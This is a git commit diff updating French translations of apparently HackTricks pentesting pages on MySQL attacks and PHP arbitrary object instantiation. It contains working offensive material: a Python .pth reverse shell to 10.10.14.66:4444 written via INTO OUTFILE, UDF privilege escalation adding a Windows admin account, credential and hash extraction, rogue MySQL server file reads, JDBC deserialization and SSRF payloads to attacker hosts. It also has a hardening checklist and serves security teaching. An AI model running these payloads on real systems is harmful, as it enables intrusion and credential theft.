Translated ['', 'src/network-services-pentesting/pentesting-mysql.md', '

This commit is contained in:
Translator 2025-09-03 19:05:54 +00:00
parent f78cc8fee1
commit bdc9e5d2c3
6 changed files with 594 additions and 528 deletions

View File

@ -4,13 +4,13 @@
## **Informations de base**
**MySQL** peut être décrit comme un système de gestion de base de données relationnelle (RDBMS) open source qui est disponible gratuitement. Il fonctionne sur le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données.
**MySQL** peut être décrit comme un open source **Relational Database Management System (RDBMS)** disponible gratuitement. Il fonctionne avec le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données.
**Port par défaut :** 3306
```
3306/tcp open mysql
```
## **Connecter**
## **Connexion**
### **Local**
```bash
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## External Enumeration
Certaines des actions d'énumération nécessitent des identifiants valides.
Certaines actions d'enumeration nécessitent des credentials valides.
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Écrire des données binaires quelconques
### Écrire des données binaires
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -101,44 +101,44 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```
Vous pouvez voir dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
Vous pouvez consulter dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### Exécution de code à distance via fichier MySQL
### MySQL File RCE
{{#ref}}
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
{{#endref}}
#### INTO OUTFILE → RCE `.pth` Python (hooks de configuration spécifiques au site)
#### INTO OUTFILE → Python `.pth` RCE (hooks de configuration spécifiques au site)
En abusant du classique `INTO OUTFILE`, il est possible d'obtenir une *exécution de code arbitraire* sur des cibles qui exécutent ensuite des scripts **Python**.
Abusant du classique `INTO OUTFILE` primitive, il est possible d'obtenir *arbitrary code execution* sur des cibles qui exécutent ensuite des scripts **Python**.
1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (par exemple `.../lib/python3.10/site-packages/`).
2. Le fichier `.pth` peut contenir une *ligne unique* commençant par `import ` suivie de code Python arbitraire qui sera exécuté chaque fois que l'interpréteur démarre.
3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), la charge utile est exécutée avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root**RCE complète avant authentification).
1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (ex. `.../lib/python3.10/site-packages/`).
2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie de code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur.
3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root**full pre-auth RCE).
Exemple de charge utile `.pth` (ligne unique, aucun espace ne peut être inclus dans la charge utile SQL finale, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire) :
Exemple de payload `.pth` (ligne unique, aucun espace ne peut être inclus dans le payload SQL final, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Exemple de création du fichier via une requête **UNION** (les espaces sont remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets) :
Exemple de création du fichier via une requête **UNION** (les espaces remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets):
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Limitations importantes et contournements :
* `INTO OUTFILE` **ne peut pas écraser** les fichiers existants ; choisissez un nouveau nom de fichier.
* Le chemin du fichier est résolu **par rapport au CWD de MySQL**, donc préfixer avec `../../` aide à raccourcir le chemin et à contourner les restrictions de chemin absolu.
* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera la charge utile ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces.
* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appareils (par exemple, FortiWeb), le service s'exécute en tant que **root**, donnant un accès en écriture presque partout.
* Le chemin de fichier est résolu **par rapport au CWD de MySQL**, donc préfixer par `../../` permet de raccourcir le chemin et de contourner les restrictions sur les chemins absolus.
* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera le payload ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces.
* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appliances (par ex. FortiWeb) le service s'exécute en tant que **root**, donnant un accès en écriture presque partout.
Après avoir supprimé le `.pth`, demandez simplement n'importe quel CGI géré par l'interpréteur python pour obtenir une exécution de code :
Après avoir déposé le fichier `.pth`, il suffit de requêter n'importe quel CGI géré par l'interpréteur python pour obtenir l'exécution de code :
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
```
Le processus Python importera automatiquement le `.pth` malveillant et exécutera la charge utile shell.
Le processus Python importera automatiquement le `.pth` malveillant et exécutera le shell payload.
```
# Attacker
$ nc -lvnp 4444
@ -147,23 +147,22 @@ uid=0(root) gid=0(root) groups=0(root)
```
---
## Lecture de fichiers arbitraires MySQL par le client
## MySQL lecture arbitraire de fichiers par le client
En fait, lorsque vous essayez de **charger des données locales dans une table**, le **contenu d'un fichier** est demandé par le serveur MySQL ou MariaDB au **client pour le lire** et envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que c'est le comportement en utilisant :
En réalité, lorsque vous essayez de **load data local into a table** le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer son contenu. **Donc, si vous pouvez altérer un mysql client pour qu'il se connecte à votre propre MySQL server, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que ceci est le comportement en utilisant :
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Notice the "local" word)\
Parce qu'en l'absence de "local", vous pouvez obtenir :
(Remarquez le mot "local")\ Parce que sans le "local" vous pouvez obtenir :
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Dans cet article, vous pouvez voir une description complète de l'attaque et même comment l'étendre à RCE :** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Ici, vous pouvez trouver un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**PoC initial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Dans cet article vous trouverez une description complète de l'attaque et même comment l'étendre à RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Vous trouverez ici un aperçu de l'attaque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -173,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Utilisateur Mysql
Il sera très intéressant si mysql fonctionne en tant que **root** :
Ce sera très intéressant si mysql s'exécute en tant que **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -182,12 +181,12 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité :
- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL sera exécuté.
- **`password`** est appliqué pour établir le mot de passe associé à l'utilisateur MySQL.
- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL s'exécutera.
- **`password`** est appliqué pour définir le mot de passe associé à l'utilisateur MySQL.
- **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative.
- La variable **`debug`** indique les configurations de débogage actuelles, y compris des informations sensibles dans les journaux.
- **`sql_warnings`** gère si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux.
- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est contrainte pour améliorer la sécurité.
- La variable **`debug`** indique les configurations de débogage présentes, incluant des informations sensibles dans les journaux.
- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements surviennent, contenant des données sensibles dans les journaux.
- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est restreinte pour améliorer la sécurité.
### Escalade de privilèges
```bash
@ -207,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Escalade de privilèges via bibliothèque
### Privilege Escalation via library
Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié) vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour créer une user defined vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en faisant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin.
La bibliothèque malveillante à utiliser peut être trouvée dans sqlmap et dans metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin.
Si vous **n'avez pas** ces bibliothèques, vous pouvez soit **les chercher**, soit télécharger ce [**code C linux**](https://www.exploit-db.com/exploits/1518) et **le compiler à l'intérieur de la machine linux vulnérable** :
Si vous n'avez pas ces bibliothèques, vous pouvez soit les rechercher, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et le compiler sur la machine vulnérable linux :
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Maintenant que vous avez la bibliothèque, connectez-vous à Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes :
Maintenant que vous avez la bibliothèque, connectez-vous dans Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes :
#### Linux
```sql
@ -252,21 +251,30 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extraction des identifiants MySQL à partir de fichiers
#### Astuce Windows: créer des répertoires avec NTFS ADS depuis SQL
À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en texte clair** de l'utilisateur **debian-sys-maint**.
Sur NTFS, vous pouvez forcer la création d'un répertoire en utilisant un flux de données alternatif même lorsqu'il n'existe qu'une primitive d'écriture de fichier. Si la chaîne UDF classique attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Cela transforme l'utilisation limitée de `SELECT ... INTO OUTFILE` en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour les UDF drops.
### Extraction des identifiants MySQL depuis des fichiers
Dans _/etc/mysql/debian.cnf_ vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**.
```bash
cat /etc/mysql/debian.cnf
```
Vous pouvez **utiliser ces identifiants pour vous connecter à la base de données mysql**.
À l'intérieur du fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hachages des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user à l'intérieur de la base de données)_._
Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user inside the database)_._
Vous pouvez les extraire en faisant :
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Activer la journalisation
### Activation de la journalisation
Vous pouvez activer la journalisation des requêtes mysql dans `/etc/mysql/my.cnf` en décommentant les lignes suivantes :
@ -289,14 +297,14 @@ Fichiers de configuration
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Historique des commandes
- Command History
- \~/.mysql.history
- Fichiers journaux
- Log Files
- connections.log
- update.log
- common.log
## Base de données/tables MySQL par défaut
## Bases/Tables MySQL par défaut
{{#tabs}}
{{#tab name="information_schema"}}
@ -647,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Points forts (nouveau)
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` désérialisation (CVE-2023-21971)
À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer l'**URL JDBC** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander à charger des classes arbitraires sur le côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le chemin de classe est chargeable, cela entraîne **l'exécution de code à distance dans le contexte du client JDBC** (pré-auth, car aucune information d'identification valide n'est requise). Un PoC minimal ressemble à :
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path est chargeable, cela aboutit à **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à :
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Exécuter `Evil.class` peut être aussi simple que de le produire dans le chemin de classe de l'application vulnérable ou de laisser un serveur MySQL malveillant envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 mettez à jour le pilote ou définissez explicitement `propertiesTransform` sur une liste blanche.
(Voir l'article de Snyk pour plus de détails)
Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un serveur MySQL rogue envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une liste d'autorisation.
(See Snyk write-up for details)
### Attaques de serveurs MySQL faux / malveillants contre les clients JDBC
Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer les clients JDBC qui se connectent vers l'extérieur :
### Rogue / Fake MySQL server attacks against JDBC clients
Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer des clients JDBC qui se connectent vers l'extérieur :
* **mysql-fake-server** (Java, prend en charge les exploits de lecture de fichiers et de désérialisation)
* **mysql-fake-server** (Java, prend en charge la lecture de fichiers et les exploits de désérialisation)
* **rogue_mysql_server** (Python, capacités similaires)
Chemins d'attaque typiques :
Scénarios d'attaque typiques :
1. L'application victime charge `mysql-connector-j` avec `allowLoadLocalInfile=true` ou `autoDeserialize=true`.
2. L'attaquant contrôle l'entrée DNS / hôte de sorte que le nom d'hôte de la base de données se résolve vers une machine sous son contrôle.
3. Le serveur malveillant répond avec des paquets conçus qui déclenchent soit une lecture de fichier arbitraire `LOCAL INFILE`, soit une désérialisation Java → RCE.
2. L'attaquant contrôle le DNS / l'entrée hosts pour que le nom d'hôte de la DB pointe vers une machine sous son contrôle.
3. Le serveur malveillant répond par des paquets craftés qui déclenchent soit une lecture de fichier arbitraire via `LOCAL INFILE`, soit une désérialisation Java → RCE.
Exemple de ligne de commande pour démarrer un serveur faux (Java) :
Exemple de one-liner pour démarrer un faux serveur (Java) :
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Ensuite, pointez l'application victime vers `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` et lisez `/etc/passwd` en encodant le nom de fichier en base64 dans le champ *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Craquer les hachages `caching_sha2_password`
MySQL ≥ 8.0 stocke les hachages de mot de passe sous **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) prennent en charge le craquage hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement :
### Craquage des hashes `caching_sha2_password`
MySQL ≥ 8.0 stocke les hashes de mot de passe au format **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) supportent le cracking hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement :
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,12 +693,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Liste de vérification de durcissement (2025)
• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour éliminer la plupart des primitives de lecture/écriture de fichiers.
Supprimer le privilège **`FILE`** des comptes d'application.
### Checklist de durcissement (2025)
• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour désactiver la plupart des primitives de lecture/écriture de fichiers.
Retirer le privilège **`FILE`** des comptes applicatifs.
• Sur Connector/J, définir `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vide).
• Désactiver les plugins d'authentification inutilisés et **exiger TLS** (`require_secure_transport = ON`).
• Surveiller les déclarations `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les déclarations `SET GLOBAL` soudaines.
• Désactiver les plugins d'authentification inutilisés et exiger TLS (`require_secure_transport = ON`).
• Surveiller les instructions `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines.
---
@ -698,6 +706,9 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

View File

@ -1,4 +1,4 @@
# PHP - RCE abusant de la création d'objets : new $\_GET\["a"]\($\_GET\["b"])
# PHP - RCE en abusant de la création d'objets : new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
@ -6,13 +6,13 @@ Ceci est essentiellement un résumé de [https://swarm.ptsecurity.com/exploiting
## Introduction
La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à une exécution de code à distance (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en évidence diverses stratégies pour atteindre la RCE.
La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en avant différentes stratégies pour atteindre une RCE.
## RCE via des classes personnalisées ou l'autoloading
## RCE via classes personnalisées ou autoloading
La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir des entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types.
La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types.
Considérez l'extrait de code ci-dessous :
Considérez l'extrait de code cidessous :
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Dans ce cas, définir `$a` sur `App` ou `App2` et `$b` sur une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande.
Dans cet exemple, assigner `$a` à `App` ou `App2` et `$b` à une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande.
**Les fonctions d'autoloading** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes à partir de fichiers lorsque cela est nécessaire et sont définies à l'aide de `spl_autoload_register` ou `__autoload`:
**Autoloading functions** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` :
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -49,48 +49,73 @@ Le comportement de l'autoloading varie selon les versions de PHP, offrant diffé
## RCE via des classes intégrées
En l'absence de classes personnalisées ou d'autoloaders, **les classes intégrées de PHP** peuvent suffire pour le RCE. Le nombre de ces classes varie entre 100 et 200, en fonction de la version de PHP et des extensions. Elles peuvent être listées en utilisant `get_declared_classes()`.
Faute de classes personnalisées ou d'autoloaders, **built-in PHP classes** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées en utilisant `get_declared_classes()`.
Les constructeurs d'intérêt peuvent être identifiés via l'API de réflexion, comme le montre l'exemple suivant et le lien [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
Les constructeurs intéressants peuvent être identifiés via la reflection API, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF].
**Le RCE via des méthodes spécifiques inclut :**
**Les possibilités de RCE via des méthodes spécifiques incluent :**
### **SSRF + Désérialisation Phar**
### **SSRF + Phar Deserialization**
La classe `SplFileObject` permet le SSRF via son constructeur, permettant des connexions à n'importe quelle URL :
La classe `SplFileObject` permet le SSRF via son constructeur, autorisant des connexions vers n'importe quelle URL :
```php
new SplFileObject('http://attacker.com/');
```
SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 utilisant le protocole Phar.
SSRF peut conduire à des deserialization attacks dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.
### **Exploitation des PDO**
### **Exploiter les PDOs**
Le constructeur de la classe PDO permet des connexions à des bases de données via des chaînes DSN, ce qui peut potentiellement permettre la création de fichiers ou d'autres interactions :
Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions:
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, en fonction de la version de libxml2.
Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, selon la version de libxml2.
## RCE via l'extension Imagick
## RCE via Imagick Extension
Dans l'analyse des **dépendances d'un projet**, il a été découvert qu'**Imagick** pouvait être utilisé pour **l'exécution de commandes** en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités.
Dans l'analyse des **dépendances** d'un projet, il a été découvert que **Imagick** pouvait être exploité pour l'**exécution de commandes** en instanciant de nouveaux objets. Cela offre une opportunité d'exploiter des vulnérabilités.
### Analyseur VID
### VID parser
La capacité de l'analyseur VID à écrire du contenu dans n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire à la mise en place d'un shell PHP dans un répertoire accessible via le web, réalisant ainsi une Exécution de Code à Distance (RCE).
La capacité du parser VID à écrire du contenu vers n'importe quel chemin spécifié du système de fichiers a été identifiée. Cela pourrait permettre le placement d'un web shell PHP dans un répertoire accessible via le web, obtenant ainsi une Remote Code Execution (RCE).
#### Analyseur VID + Téléchargement de fichiers
#### VID Parser + File Upload
Il est noté que PHP stocke temporairement les fichiers téléchargés dans `/tmp/phpXXXXXX`. L'analyseur VID dans Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour réaliser une écriture de fichiers arbitraire dans le système de fichiers.
Il est noté que PHP stocke temporairement les fichiers uploadés dans `/tmp/phpXXXXXX`. Le parser VID d'Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir l'écriture arbitraire de fichiers dans le système de fichiers.
### Plantage PHP + Brute Force
### PHP Crash + Brute Force
Une méthode décrite dans le [**document original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) implique le téléchargement de fichiers qui déclenchent un plantage du serveur avant leur suppression. En forçant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est révélée efficace uniquement dans une version obsolète d'ImageMagick.
Une méthode décrite dans le [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste à uploader des fichiers qui provoquent le crash du serveur avant leur suppression. En brute-forceant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est avérée efficace uniquement sur une version obsolète d'ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Lorsque l'entrée utilisateur contrôle le nom de la classe (par ex. `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactoring de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format pour printf pendant la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : des leaks avec `%p`, le contrôle du compteur d'écriture via des spécificateurs de largeur, et des écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, des entrées GOT sur les builds ELF).
Exemple minimal reproductible vulnérable:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Plan d'exploitation (d'après la référence) :
- Leak des adresses via `%p` dans le nom de la classe pour trouver une cible écrivable :
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
